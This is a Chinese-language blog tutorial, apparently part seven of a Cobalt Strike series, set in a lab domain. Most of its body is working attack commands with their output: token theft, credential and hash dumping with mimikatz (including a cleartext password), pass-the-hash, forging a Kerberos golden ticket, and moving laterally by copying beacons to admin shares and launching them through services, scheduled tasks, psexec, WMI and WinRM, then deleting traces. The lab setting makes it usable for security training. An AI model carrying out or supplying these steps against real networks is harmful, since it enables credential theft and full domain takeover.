cobaltstrike使用-第七篇(获取信任凭证哈希认证kerberos票据横向移动)(代码片段)

OceanSec OceanSec     2022-12-03     741

关键词:

文章目录

获取信任->登录认证

如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:

  1. Access Token 登录令牌
  2. Credentials 凭证
  3. Password Hashes 密码哈希
  4. Kerberos Tickets 登录凭据

登录令牌

  • 登录令牌在登录之后被创建
  • 与每个进程和线程相关联
  • 包括:
    • 用户和用户组的信息
    • 本地计算机上的特权列表
    • 限制(删除用户和用户组的权限)
    • 参考凭证(支持单点登录)
  • 一直保存在内存中,直到系统重启

以下是令牌窃取的过程:

  • 使用 ps 列出进程
  • 使用 steal_token [pid] 窃取令牌
  • 使用 getuid 找到你是谁
  • 使用 rev2self 移除令牌

当前具有的system权限会话(提权至system权限),该会话在 win7 主机下,没有域控制器访问权限

关于windows用户组权限表可以看这张图(Windows 7中常见用户组的对照表来源:【Windows权限与用户和组】等级森严的Windows王国

先用 ps 查看一下当前系统进程信息(第一行就是pid)

发现OCEAN0域下的管理帐号此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid] 命令窃取 TEAMSSIX\\Administrator 账户的令牌

beacon> steal_token 4000

查看一下当前会话 uid

beacon> getuid

发现现在已经是域控管理员权限,再次尝试获取域控制器主机下的文件

使用 rev2self 可移除当前窃取的令牌

rev2self

凭证

1.使用 make_token 创建一个令牌

make_token DOMAIN\\user password
# make_token OCEAN0\\Administrator Ocean@123

在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考上一节内容

当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的 SYSTEM 权限

获取权限后可以查看目录域控主机目录,这可以使用powerview执行命令(需要提权上传powerview.sp1,目标需要开启winrm)

powershell Invoke-Command -computer WIN-A9PLNLID2QM -ScriptBlock whoami

2.使用 spawn beacon 替代凭证

spawnas DOMAIN\\user password
# spawnas OCEAN0\\Administrator Ocean@123

3.在目标上建立账户进行远程连接

net use \\\\host\\C$/USER:DOMAIN\\user password

哈希认证

使用 help 命令查看 pth 命令用法

beacon> help pth
Use: pth [DOMAIN\\user] [NTLM hash]

Uses mimikatz to generate AND impersonate a token that uses the specified
DOMAIN, user, and NTLM hash as single sign-on credentials. Beacon will pass
this hash when you interact with network resources.

工作原理:

  1. mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
  2. cobalt strike 自动的从那个进程中窃取令牌并关闭

使用方法:

  1. 首先使用 hashdump 获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限

    beacon> hashdump
    [*] Tasked beacon to dump hashes
    [+] host called home, sent: 82501 bytes
    [+] received password hashes:
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HomeGroupUser$:1001:aad3b435b51404eeaad3b435b51404ee:a173c45dd09b8b14d9e5c11b10f2cfa9:::
    spary:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    

    或者使用上一节的方法,powershell 加载 mimikatz 获取哈希

    Authentication Id : 0 ; 849135 (00000000:000cf4ef)
    Session           : Interactive from 2
    User Name         : administrator
    Domain            : OCEAN0
    SID               : S-1-5-21-436250240-237335239-2342608000-500
    	msv :	
    	 [00000003] Primary
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * LM       : 1ca9515d7ed5c511b75e0c8d76954a50
    	 * NTLM     : d69a9d8eeee7621bacdf9d1d71ef1e06
    	 * SHA1     : 2c0c71c98e0ded1b0a5d38222ec619d9d11d4446
    	tspkg :	
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * Password : Ocean@123
    	wdigest :	
    	 * Username : Administrator
    	 * Domain   : OCEAN0
    	 * Password : Ocean@123
    	kerberos :	
    	 * Username : administrator
    	 * Domain   : OCEAN.COM
    	 * Password : Ocean@123
    	ssp :	
    	credman :
    
  2. 使用 pth 命令获取信任

    beacon> pth OCEAN0\\Administrator d69a9d8eeee7621bacdf9d1d71ef1e06
    [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:OCEAN0 /ntlm:d69a9d8eeee7621bacdf9d1d71ef1e06 /run:"%COMSPEC% /c echo 06304b473c1 > \\\\.\\pipe\\e003ab" command
    [+] host called home, sent: 438886 bytes
    [+] Impersonated NT AUTHORITY\\SYSTEM
    [+] received output:
    user	: Administrator
    domain	: OCEAN0
    program	: C:\\Windows\\system32\\cmd.exe /c echo 06304b473c1 > \\\\.\\pipe\\e003ab
    impers.	: no
    NTLM	: d69a9d8eeee7621bacdf9d1d71ef1e06
      |  PID  3212
      |  TID  140
      |  LSA Process is now R/W
      |  LUID 0 ; 2159933 (00000000:0020f53d)
      \\_ msv1_0   - data copy @ 0000000000339870 : OK !
      \\_ kerberos - data copy @ 00000000014D5A88
       \\_ aes256_hmac       -> null             
       \\_ aes128_hmac       -> null             
       \\_ rc4_hmac_nt       OK
       \\_ rc4_hmac_old      OK
       \\_ rc4_md4           OK
       \\_ rc4_hmac_nt_exp   OK
       \\_ rc4_hmac_old_exp  OK
       \\_ *Password replace @ 00000000002DE3B8 (16) -> null
    

这样的话是可以拿到域控权限并且访问域控主机目录的

最后使用命令移除当前窃取的令牌

rev2self

Kerberos 票据

Kerberos

Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证

在Kerberos认证中,最主要的问题是如何证明“你是你”的问题,如当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在

在Kerberos协议中主要是有三个角色的存在:

  1. 访问服务的Client
  2. 提供服务的Server
  3. KDC(Key Distribution Center)密钥分发中心

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定

知乎有一篇文章形象生动的介绍了这个过程,我是链接

  • 列出 Kerberos 票据

    shell klist
    
  • 除去 kerberos 票据

    kerberos_ticket_purge
    
  • 加载 kerberos 票据

    kerberos_ticket_use [/path/to/file.ticket]
    

黄金票据

黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动,内网中经常存在

使用 mimikatz 伪造黄金票据需要:

1. 目标的用户名及域名
2. 域的 SID 值
3. DC 中 KRBTGT 用户的 NTLM 哈希
  1. 目标的用户名及域名

    直接使用shell命令获取

    # 获取当前域
    beacon> shell net view /domain
    # 获取域内用户
    beacon> shell net view /domain:[name]
    
  2. 域的 SID 值

    域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字

    beacon> shell whoami /user
    # 注意使用域用户权限的 Beacon 执行命令
    

    SID 就是S-1-5-21-436250240-237335239-2342608000

  3. DC 中 KRBTGT 用户的 NTLM 哈希

    DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取,这里直接使用之前获取的值d69a9d8eeee7621bacdf9d1d71ef1e06

右击会话,生成黄金票据

注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 teamssix.com 的格式

beacon> mimikatz kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt command
[+] host called home, sent: 438858 bytes
[+] received output:
User      : Administrator
Domain    : ocean.com (OCEAN)
SID       : S-1-5-21-436250240-237335239-2342608000
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 31d6cfe0d16ae931b73c59d7e0c089c0 - rc4_hmac_nt      
Lifetime  : 2021/12/6 15:46:14 ; 2021/12/6 23:46:14 ; 2021/12/13 15:46:14
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ ocean.com' successfully submitted for current session

建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)

shell dir \\\\DC\\C$

横向移动

直接使用之前的环境就可以

环境介绍:

目前已经通过钓鱼攻击在CS中拿到Win7会话,发现域内账号配置问题导致win7上的域用户为域内成员服务器Winserver2008-2的本地管理员权限,接下来就是先拿到成员服务器server2008-2的会话,然后通过成员服务器server2008-2横向移动至域控制器

基本步骤

  1. 与目标建立信任关系
  2. 复制可执行文件到目标上
  3. 在目标上运行可执行文件
  4. 实现对目标的控制

1.创建可执行文件

以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s) 处进行创建,如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的

2.上传可执行文件

首先直接使用文件上传功能上传将后门上传到目标机器

接着复制文件到目标主机(winerver20082)的其他位置

shell copy file.exe \\\\host\\C$\\Windows\\Temp
# 这里使用的Beacon应为拥有权限的域用户的Beacon,非system,可以列目录
beacon> shell dir \\\\SERVER20082\\C$

# 这样上传也是可以的
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes

# 复制文件
beacon> shell copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
[*] Tasked beacon to run: copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
[+] host called home, sent: 92 bytes
[+] received output:
已复制         1 个文件。

3.1执行文件-方法1

  1. 生成 Windows Service EXE 并上传

  2. 在目标主机上创建一个服务

    beacon> shell sc \\\\host create name binpath= c:\\windows\\temp\\file.exe
    
    # beacon> shell sc \\\\SERVER20082 create beacon binpath= c:\\windows\\temp\\s.exe
    [*] Tasked beacon to run: sc \\\\SERVER20082 create name binpath= c:\\windows\\temp\\s.exe
    [+] host called home, sent: 90 bytes
    [+] received output:
    [SC] CreateService 成功
    

    注:记住 binpath 路径

  3. 在目标主机上启动服务

    shell sc \\\\host start name
    # beacon> shell sc \\\\SERVER20082 start beacon
    
    beacon> shell sc \\\\wintest start beacon
    [*] Tasked beacon to run: sc \\\\wintest start beacon
    [+] host called home, sent: 56 bytes
    [+] received output:
    SERVICE_NAME: beacon 
            TYPE               : 10  WIN32_OWN_PROCESS  
            STATE              : 2  START_PENDING 
                                    (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
            WIN32_EXIT_CODE    : 0  (0x0)
            SERVICE_EXIT_CODE  : 0  (0x0)
            CHECKPOINT         : 0x0
            WAIT_HINT          : 0x7d0
            PID                : 3816
            FLAGS              : 
            
    beacon> link wintest
    [*] Tasked to link to \\\\wintest\\pipe\\msagent_da00
    [+] host called home, sent: 36 bytes
    [+] established link to child beacon: 192.168.175.130
    

    4.清除痕迹与服务

    shell sc \\\\host delete name
    
    beacon> shell del beacon.exe
    [*] Tasked beacon to run: del beacon.exe
    [+] host called home, sent: 57 bytes
    

3.2执行文件-方法2

  1. 生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一生成的 EXE 是不一样的类型,这里生成的是Windows EXE,不是方法一中的Windows Service EXE,上传

    shell copy C:\\Users\\win701\\beacon.exe \\\\SERVER20082\\C$\\Windows\\Temp\\s.exe
    
  2. 找到目标系统上的时间

    shell net time \\\\host
    
  3. 创建一个计划任务

    shell at \\\\host HH:mm C:\\path\\to\\bad.exe
    
    # shell at \\\\SERVER20082 19:12 C:\\Windows\\Temp\\s.exe
    
  4. 当计划任务被执行时,执行 link hostname 即可上线主机

3.3执行文件-方法3

beacon 的自动操作

前两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作

  • 使用一个服务运行可执行文件
psexec [target] [share] [listener]
  • 使用一个服务运行 Powershell 单行程序
psexec_psh [target] [listener]
  • 通过 WinRM 运行 Powershell 单行程序
winrm [target] [listener]
  • 通过 WMI 运行 Powershell 单行程序
wmi [target] [listener]

在 Cobalt Strike 的 viwe --> Targets 下,右击主机选择 Jump 也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单

第七篇:使用fcntl函数获取,设置文件的状态标志

前言    当打开一个文件的时候,我们需要指定打开文件的模式(只读,只写等)。那么在程序中如何获取,修改这个文件的状态标志呢?本文将告诉你如何用fcntl函数获取指定文件的状态标志。解决思路   ... 查看详情

flask第七篇flask中的wtforms使用

...对用户请求数据进行验证。安装:pip3installwtforms二、简单使用wtforms组件1、用户登录具体代码:fromflaskimportFlask,render_template,request,redirectfromwtforms.fieldsimportcorefromwtfor 查看详情

第七篇7.1章

...基类),新类称为‘子类’(派生类)   什么时候使用继承:使用继承不仅可以重用已有的代码,从而避免重复,还可以创建一个更容易维护和修改代码的程序   继承好处:  1.较简单  2.不需要修改源代码 ... 查看详情

第七篇使用uiview的animatewithduration方法制作简易动画

 importUIKitclassLolitaCircleButton:UIButton{privatevarcolor:UIColorprivatevarimageURL:Stringinit(color:UIColor,imageURL:String){self.color=colorself.imageURL=imageURLsuper.init(frame:CGRectZero) 查看详情

第七篇:分布式组件(dubbonettynigixzookeepermqjob)

...f1a;高性能RPC框架五.MQ:分布式消息中间件1、MQ有哪些使用场景(优点)?(高频)2.ActiveMQ、RabbitMQ、RocketMQ、Kafka的优缺点和适应场景?3.简单介绍一些Rabbitmq的架构?(高频)4.RabbitMq中交换机的类型有哪些?(高频)5.Rab... 查看详情

第七篇pythonio操作

文章目录10文件操作10.1打开与关闭10.1.1打开文件10.1.2关闭文件10.2文件的读写10.2.1写数据(write)10.2.2读数据(read)10.2.3读数据(readlines)10.2.4读数据(readline)10.3文件的常用操作10.3.1获取当前读写的位置10.3.2定位到某个位置10.3.3文件... 查看详情

第七篇pythonio操作

文章目录10文件操作10.1打开与关闭10.1.1打开文件10.1.2关闭文件10.2文件的读写10.2.1写数据(write)10.2.2读数据(read)10.2.3读数据(readlines)10.2.4读数据(readline)10.3文件的常用操作10.3.1获取当前读写的位置10.3.2定位到某个位置10.3.3文件... 查看详情

第七篇:面向对象高级

第七篇:面向对象高级   PYTHON-绑定方法反射内置函数PYTHON-组合封装多态property装饰器 查看详情

docker系列-第七篇docker构建springboot应用

1.基于Dockerfile构建SpringBoot镜像1.1准备工作将SpringBoot项目通过maven打成jar包mvncleanpackage#使用maven打包项目1.2使用Dockerfile构建镜像step1在存放jar所在目录下创建Dockerfile文件touchDockerfilestep2编辑Dockerfile增加以下内容FROMjava:8MAINTAINERniuga 查看详情

docker系列-第七篇docker构建springboot应用

1.基于Dockerfile构建SpringBoot镜像1.1准备工作将SpringBoot项目通过maven打成jar包mvncleanpackage#使用maven打包项目1.2使用Dockerfile构建镜像step1在存放jar所在目录下创建Dockerfile文件touchDockerfilestep2编辑Dockerfile增加以下内容FROMjava:8MAINTAINERniuga 查看详情

springcloud第七篇|声明式服务调用feign

...一篇|SpringCloud前言及其常用组件介绍概览SpringCloud第二篇|使用并认识Eureka注册中心SpringCloud第三篇|搭建高可用Eureka注册中心SpringCloud第四篇|客户端负载均衡RibbonSpringCloud第五篇|服务熔断HystrixSprin 查看详情

powerbi开发第七篇:数据集和数据刷新

PowerBI报表是基于数据分析的引擎,数据真正的来源(DataSource)是数据库,文件等数据存储媒介,PowerBI支持的数据源类型多种多样。PowerBIService(云端)有时不直接访问DataSource,而是直接从PowerBIService创建的数据集(Dataset)中获... 查看详情

第七篇camunda系列-身份服务(代码片段)

...份服务是对各种用户/组库的API抽象。其基本实体是:User:使用不同ID区分的不同用户Group:使用不同ID区分的不同组Membe 查看详情

第七篇图像分类的评价指标

文章目录摘要混淆矩阵准确率(Accuracy)精确率(Precision)召回率(Recall)F1-score代码样例 查看详情

混合编程jni第七篇之jni的命令行们(代码片段)

...     今天将继续JNI的学习,jni编程中常使用的一些命令行工具如何使用事半功倍,今天就快速的过一下,希望在接下来的使用中可以发挥效果    javahjavah是Java提供的生成jni头 查看详情

第七篇图像分类的评价指标

文章目录摘要1、混淆矩阵2、准确率(Accuracy)3、精确率(Precision)4、召回率(Recall)5、F1-score6、代码样例 查看详情

第七篇:两个经典的文件io程序示例

...序一代码及其注释1#include<iostream>2#include<fstream>//使用文件处理对象记着要包含这个头文件3#include&l 查看详情

kubernetes第七篇:使用kubernetes部署prometheus+grafana监控系统(kubernetes工作实践类)

文章目录​​一、前言​​​​二、K8s监控系统架构​​​​2.1Prometheus简介​​​​2.2Prometheus架构​​​​2.3Prometheus知识普及​​​​三、K8s监控系统搭建​​​​3.1三类数据采集metrics​​​​3.2Prometheus+Grafana​​​​3.3实... 查看详情